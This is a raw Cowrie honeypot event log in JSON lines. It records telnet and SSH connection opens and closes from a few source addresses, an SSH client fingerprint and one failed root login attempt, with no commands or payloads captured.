{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36268,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3757512e5a","protocol":"telnet","message":"New connection: 193.22.147.168:36268 (10.17.0.5:23) [session: ac3757512e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.181417Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36280,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e85d05b2532","protocol":"telnet","message":"New connection: 193.22.147.168:36280 (10.17.0.5:23) [session: 1e85d05b2532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.270013Z"}
{"eventid":"cowrie.session.closed","duration":30.891805410385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.535876Z","src_ip":"174.142.104.49","session":"2ad4b2f76016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffca565b9f3a","protocol":"telnet","message":"New connection: 193.22.147.168:36256 (10.17.0.5:23) [session: ffca565b9f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.617473Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58272,"dst_ip":"159.203.135.109","dst_port":23,"session":"86543a59a6cd","protocol":"telnet","message":"New connection: 174.142.104.49:58272 (159.203.135.109:23) [session: 86543a59a6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:30.664768Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36294,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab973e7c4657","protocol":"telnet","message":"New connection: 193.22.147.168:36294 (10.17.0.5:23) [session: ab973e7c4657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:31.184299Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56c0aa26fba","protocol":"telnet","message":"New connection: 193.22.147.168:36308 (10.17.0.5:23) [session: a56c0aa26fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:31.248365Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36574,"dst_ip":"159.203.135.109","dst_port":23,"session":"018e6cbf6c06","protocol":"telnet","message":"New connection: 174.142.104.49:36574 (159.203.135.109:23) [session: 018e6cbf6c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:31.433638Z"}
{"eventid":"cowrie.session.closed","duration":120.00166583061218,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:31.467685Z","src_ip":"174.142.104.49","session":"0a20022464ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.2967267036438,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:31.775102Z","src_ip":"174.142.104.49","session":"f1f309f6017d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":33042,"dst_ip":"159.203.135.109","dst_port":22,"session":"c776d3b5e5dc","protocol":"ssh","message":"New connection: 200.105.172.184:33042 (159.203.135.109:22) [session: c776d3b5e5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.031301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.036493Z","src_ip":"200.105.172.184","session":"c776d3b5e5dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37812,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a6cc7ab33e","protocol":"telnet","message":"New connection: 174.142.104.49:37812 (159.203.135.109:23) [session: c3a6cc7ab33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.128487Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.157902Z","src_ip":"200.105.172.184","session":"c776d3b5e5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.51699447631836,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.220014Z","src_ip":"174.142.104.49","session":"f882c7768f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839672327041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.383803Z","src_ip":"174.142.104.49","session":"d2c2a5bb396d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36316,"dst_ip":"10.17.0.5","dst_port":23,"session":"281c968751df","protocol":"telnet","message":"New connection: 193.22.147.168:36316 (10.17.0.5:23) [session: 281c968751df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.505562Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty11","message":"login attempt [root/Qwerty11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.653840Z","src_ip":"200.105.172.184","session":"c776d3b5e5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891711235046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.865140Z","src_ip":"174.142.104.49","session":"4fb6e8782e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36320,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb398214e778","protocol":"telnet","message":"New connection: 193.22.147.168:36320 (10.17.0.5:23) [session: bb398214e778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:32.879006Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de3b092951d","protocol":"telnet","message":"New connection: 174.142.104.49:46062 (159.203.135.109:23) [session: 1de3b092951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:33.207917Z"}
{"eventid":"cowrie.session.closed","duration":0.005903720855712891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:33.213678Z","src_ip":"174.142.104.49","session":"1de3b092951d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38058,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb19180d781b","protocol":"telnet","message":"New connection: 174.142.104.49:38058 (159.203.135.109:23) [session: eb19180d781b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:33.304317Z"}
{"eventid":"cowrie.session.closed","duration":30.800315618515015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:33.354517Z","src_ip":"174.142.104.49","session":"f012beb11691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:33.776862Z","src_ip":"200.105.172.184","session":"c776d3b5e5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.203272104263306,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:34.204603Z","src_ip":"174.142.104.49","session":"5278eba71144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39616,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb337a6a7916","protocol":"telnet","message":"New connection: 174.142.104.49:39616 (159.203.135.109:23) [session: eb337a6a7916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:34.213907Z"}
{"eventid":"cowrie.session.closed","duration":30.418991088867188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:34.556596Z","src_ip":"174.142.104.49","session":"5af8e917db7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40406,"dst_ip":"159.203.135.109","dst_port":23,"session":"eef4989bced4","protocol":"telnet","message":"New connection: 174.142.104.49:40406 (159.203.135.109:23) [session: eef4989bced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:34.686774Z"}
{"eventid":"cowrie.session.closed","duration":85.43909072875977,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:34.926911Z","src_ip":"174.142.104.49","session":"dd0f2e7bdc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2bc31c2076","protocol":"telnet","message":"New connection: 174.142.104.49:41152 (159.203.135.109:23) [session: 5f2bc31c2076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:35.130022Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c51c2a9f958","protocol":"telnet","message":"New connection: 174.142.104.49:39702 (159.203.135.109:23) [session: 1c51c2a9f958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:35.305586Z"}
{"eventid":"cowrie.session.closed","duration":117.0869140625,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:35.941758Z","src_ip":"174.142.104.49","session":"72538fc16e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15316605567932,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.137260Z","src_ip":"174.142.104.49","session":"57ad18488169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.688355207443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.186096Z","src_ip":"174.142.104.49","session":"e0c88a47dd80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40245,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d65a55638b3","protocol":"telnet","message":"New connection: 174.142.104.49:40245 (159.203.135.109:23) [session: 2d65a55638b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.649736Z"}
{"eventid":"cowrie.session.closed","duration":30.958502531051636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.732590Z","src_ip":"174.142.104.49","session":"74f6eec9ea43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65319776535034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.766481Z","src_ip":"174.142.104.49","session":"0a62754c3b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160670280457,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.843872Z","src_ip":"174.142.104.49","session":"cadde775a4b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293646335601807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:36.869570Z","src_ip":"174.142.104.49","session":"f1496d33e882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645703554153442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:38.076866Z","src_ip":"174.142.104.49","session":"977fbe13c170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f38dd3efa18","protocol":"telnet","message":"New connection: 193.22.147.168:36322 (10.17.0.5:23) [session: 5f38dd3efa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:38.292624Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be8f0d3a419","protocol":"telnet","message":"New connection: 174.142.104.49:41640 (159.203.135.109:23) [session: 8be8f0d3a419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:38.441858Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36328,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf88758b1e9","protocol":"telnet","message":"New connection: 193.22.147.168:36328 (10.17.0.5:23) [session: daf88758b1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:38.496259Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45810,"dst_ip":"159.203.135.109","dst_port":23,"session":"38924b2d2f04","protocol":"telnet","message":"New connection: 174.142.104.49:45810 (159.203.135.109:23) [session: 38924b2d2f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:38.857476Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":36342,"dst_ip":"10.17.0.5","dst_port":23,"session":"7226d9c68757","protocol":"telnet","message":"New connection: 193.22.147.168:36342 (10.17.0.5:23) [session: 7226d9c68757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:39.143195Z"}
{"eventid":"cowrie.session.closed","duration":30.706529140472412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:39.207059Z","src_ip":"174.142.104.49","session":"f42cd22e807c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996771574020386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:39.358334Z","src_ip":"174.142.104.49","session":"8aa75cab86fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38002,"dst_ip":"159.203.135.109","dst_port":23,"session":"75391a1cc656","protocol":"telnet","message":"New connection: 161.132.53.68:38002 (159.203.135.109:23) [session: 75391a1cc656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:39.795804Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51568,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f656974d41","protocol":"telnet","message":"New connection: 174.142.104.49:51568 (159.203.135.109:23) [session: d5f656974d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.016662Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38006,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5303c19ca3","protocol":"telnet","message":"New connection: 161.132.53.68:38006 (159.203.135.109:23) [session: 5e5303c19ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.141526Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94fdfe77b32","protocol":"telnet","message":"New connection: 193.22.147.168:41086 (10.17.0.5:23) [session: c94fdfe77b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.157706Z"}
{"eventid":"cowrie.session.closed","duration":31.334120273590088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.207213Z","src_ip":"174.142.104.49","session":"b74836469b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38016,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f71e975e7b4","protocol":"telnet","message":"New connection: 161.132.53.68:38016 (159.203.135.109:23) [session: 0f71e975e7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.557197Z"}
{"eventid":"cowrie.session.closed","duration":23.153547525405884,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.603019Z","src_ip":"174.142.104.49","session":"37c84a706deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":41102,"dst_ip":"10.17.0.5","dst_port":23,"session":"65959985f542","protocol":"telnet","message":"New connection: 193.22.147.168:41102 (10.17.0.5:23) [session: 65959985f542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.634779Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52642,"dst_ip":"159.203.135.109","dst_port":23,"session":"e147b340a9f2","protocol":"telnet","message":"New connection: 174.142.104.49:52642 (159.203.135.109:23) [session: e147b340a9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.643209Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45990,"dst_ip":"159.203.135.109","dst_port":23,"session":"386089906656","protocol":"telnet","message":"New connection: 174.142.104.49:45990 (159.203.135.109:23) [session: 386089906656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:40.969845Z"}
{"eventid":"cowrie.session.closed","duration":31.220330476760864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.024092Z","src_ip":"174.142.104.49","session":"b3bfb366dfc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53586,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ae9f537e692","protocol":"telnet","message":"New connection: 174.142.104.49:53586 (159.203.135.109:23) [session: 9ae9f537e692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.142469Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52004,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c22eadac73","protocol":"telnet","message":"New connection: 174.142.104.49:52004 (159.203.135.109:23) [session: 83c22eadac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.304883Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":41088,"dst_ip":"10.17.0.5","dst_port":23,"session":"09906a058f79","protocol":"telnet","message":"New connection: 193.22.147.168:41088 (10.17.0.5:23) [session: 09906a058f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.455070Z"}
{"eventid":"cowrie.session.closed","duration":31.100903511047363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.460737Z","src_ip":"193.22.147.168","session":"5af0cc60e921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54416,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d61c3c9479","protocol":"telnet","message":"New connection: 174.142.104.49:54416 (159.203.135.109:23) [session: a4d61c3c9479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.654308Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54534,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f853f494d5a","protocol":"telnet","message":"New connection: 174.142.104.49:54534 (159.203.135.109:23) [session: 5f853f494d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.751904Z"}
{"eventid":"cowrie.session.closed","duration":30.68719244003296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.787816Z","src_ip":"174.142.104.49","session":"bd4fe4a4db81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.235174894332886,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:41.988652Z","src_ip":"174.142.104.49","session":"4c21bd337271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981351137161255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.036928Z","src_ip":"174.142.104.49","session":"c8536dda27c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86026930809021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.154447Z","src_ip":"174.142.104.49","session":"9f954f01e510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28074812889099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.412829Z","src_ip":"193.22.147.168","session":"3e2622dd92d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60062,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f24693fa926","protocol":"telnet","message":"New connection: 174.142.104.49:60062 (159.203.135.109:23) [session: 2f24693fa926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.620231Z"}
{"eventid":"cowrie.session.closed","duration":0.0053653717041015625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.625406Z","src_ip":"174.142.104.49","session":"2f24693fa926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908154010772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:42.735231Z","src_ip":"174.142.104.49","session":"a80a66ff4084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e9d78905c57","protocol":"telnet","message":"New connection: 174.142.104.49:51628 (159.203.135.109:23) [session: 1e9d78905c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.061905Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56930,"dst_ip":"159.203.135.109","dst_port":23,"session":"73817160162c","protocol":"telnet","message":"New connection: 174.142.104.49:56930 (159.203.135.109:23) [session: 73817160162c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.109991Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57104,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb63cbcead72","protocol":"telnet","message":"New connection: 174.142.104.49:57104 (159.203.135.109:23) [session: bb63cbcead72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.202198Z"}
